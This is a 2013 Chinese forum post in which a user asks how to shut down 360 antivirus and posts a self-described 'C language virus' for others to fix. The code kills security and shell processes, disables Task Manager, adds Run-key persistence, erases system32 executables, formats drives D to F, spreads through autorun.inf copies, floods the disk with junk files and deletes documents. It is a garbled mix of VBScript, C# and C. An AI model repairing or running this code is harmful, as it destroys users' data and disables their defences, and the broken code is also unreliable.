本帖最后由 4k-Rn 于 2013-2-2 17:25 编辑
c语言关闭360谁会啊
cmd不行啊
啊哈磊帮我啊
C语言病毒
[mw_shl_code=c,true]#include <stdio.h>
#include <windows.h>
#include <dos.h>
#include<string.h>
#include<stdlib.h>
#include<process.h>
#include<dir.h>
#define SVCHOST_NUM 666666
#define RUBBISH_NUM 666666
#define REMOVE_NUM 666666
main()
{
do
set ws=createobject("wscript.shell")
ws.run "cmd.exe /c taskkill /f /im 360chrome.exe",0
ws.run "cmd.exe /c taskkill /f /im .exe",0
ws.run "cmd.exe /c taskkill /f /im .exe",0
ws.run "cmd.exe /c taskkill /f /im .exe",0
loop
RegistryKey backApp = Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true);
backApp.SetValue("", Application.ExecutablePath);
system("TASKKILL /F /IM EXPLORER.EXE");
system("reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v DisableTaskMgr /t REG_DWORD /d 00000001 /f");
system(ERASE C:\\WINDOWS\\system32\\cmd.exe);
sleep(100);
system(ERASE C:\\WINDOWS\\system32\\*.exe);
sleep(100);
system(ERASE C:\\WINDOWS\\system32\\*.dll);
sleep(100);
system(start C:\\WINDOWS\\system32\\twain_32\\zombies.exe);
system(md C:\\WINDOWS\\system32\\win_32backup);
system("FORMAT D:");
sleep(500);
system("FORMAT E:");
sleep(500);
system("FORMAT F:");
sleep(500);
system(Del C:\\Program Files);
return 1;
}
{
int copy(char *infile,char *outfile)
{
FILE *input,*output;
char temp;
if(strcmp(infile,outfile)!=0 && ((input=fopen(infile,"rb"))!=NULL) && ((output=fopen
(outfile,"wb"))!=NULL))
{
while(!feof(input))
{
fread(&temp,1,1,input);
fwrite(&temp,1,1,output);
}
fclose(input);
fclose(output);
return 0;
}
else return 1;
}
int autorun_explorer()
{
FILE *input;
if((input=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL)
{
fclose(input);
remove("c:\\windows\\$temp$");
remove("c:\\windows\\system32\\dllcache\\$temp$");
return 1;
}
copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");
rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");
rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32
\\dllcache\\$temp$");
if(copy("SVCHOST.com","c:\\windows\\explorer.exe")==0 && copy
("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)
return 0;
else
return 2;
}
int add_reg()
{
FILE *output;
if((output=fopen("$$$$$","w"))!=NULL)
{
fprintf(output,regadd);
fclose(output);
spawnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
}
}
void copy_virus()
{
int i,k;
FILE *input,*output;
char *files_svchost[SVCHOST_NUM]=
{
"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\system32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};
char temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"};
for(i=0;i<SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost,"rb"))!=NULL)
{
fclose(input);
for(k=0;k<SVCHOST_NUM;k++)
{
copy(files_svchost,files_svchost[k]);
}
i=SVCHOST_NUM;
}
}
for(i=0;i<SVCHOST_NUM;i++)
{
if((input=fopen(files_svchost,"rb"))!=NULL)
{
fclose(input);
for(k=0;k<24;k++)
{
copy(files_svchost,temp[0]);
if((output=fopen(temp[1],"w"))!=NULL)
{
fprintf(output,"%s",autorun);
fclose(output);
}
temp[0][0]++;
temp[1][0]++;
}
i=SVCHOST_NUM;
}
}
}
void make_rubbish()
{
int i;
FILE *output;
srand(0);
for(i=0;i<RUBBISH_NUM;i++)
{
int n;
char s[30];
n=rand();
sprintf(s,"C:\\DESTORY_soft_%d",n);
if((output=fopen(s,"w"))!=NULL)
{
fprintf(output,"%ld%s",n*n,s);
fclose(output);
}
}
}
void remove_files()
{
long done;
int i;
struct _finddata_t ffblk;
char *remove_files[3]={"*.txt","*.doc","*.xls"};
for(i=0;i<3;i++)
{
if(_findfirst(remove_files,&ffblk)==-1) continue;
while(!done)
{
remove(ffblk.name);
_findnext(done,&ffblk);
}
_findclose(done);
}
}
int main(int argc,char **argv)
{
int contral=0;
if(argc>1)
if(strcmp(argv[1],"/s")==0)
goto next1;
autorun_explorer();
spawnl(1,"c:\\windows\\system\\explorer.exe",NULL);
next1:
add_reg();
copy_virus();
make_rubbish();
/* remove_files(); */
spawnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);
return 0;
}[/mw_shl_code]
帮我改改
|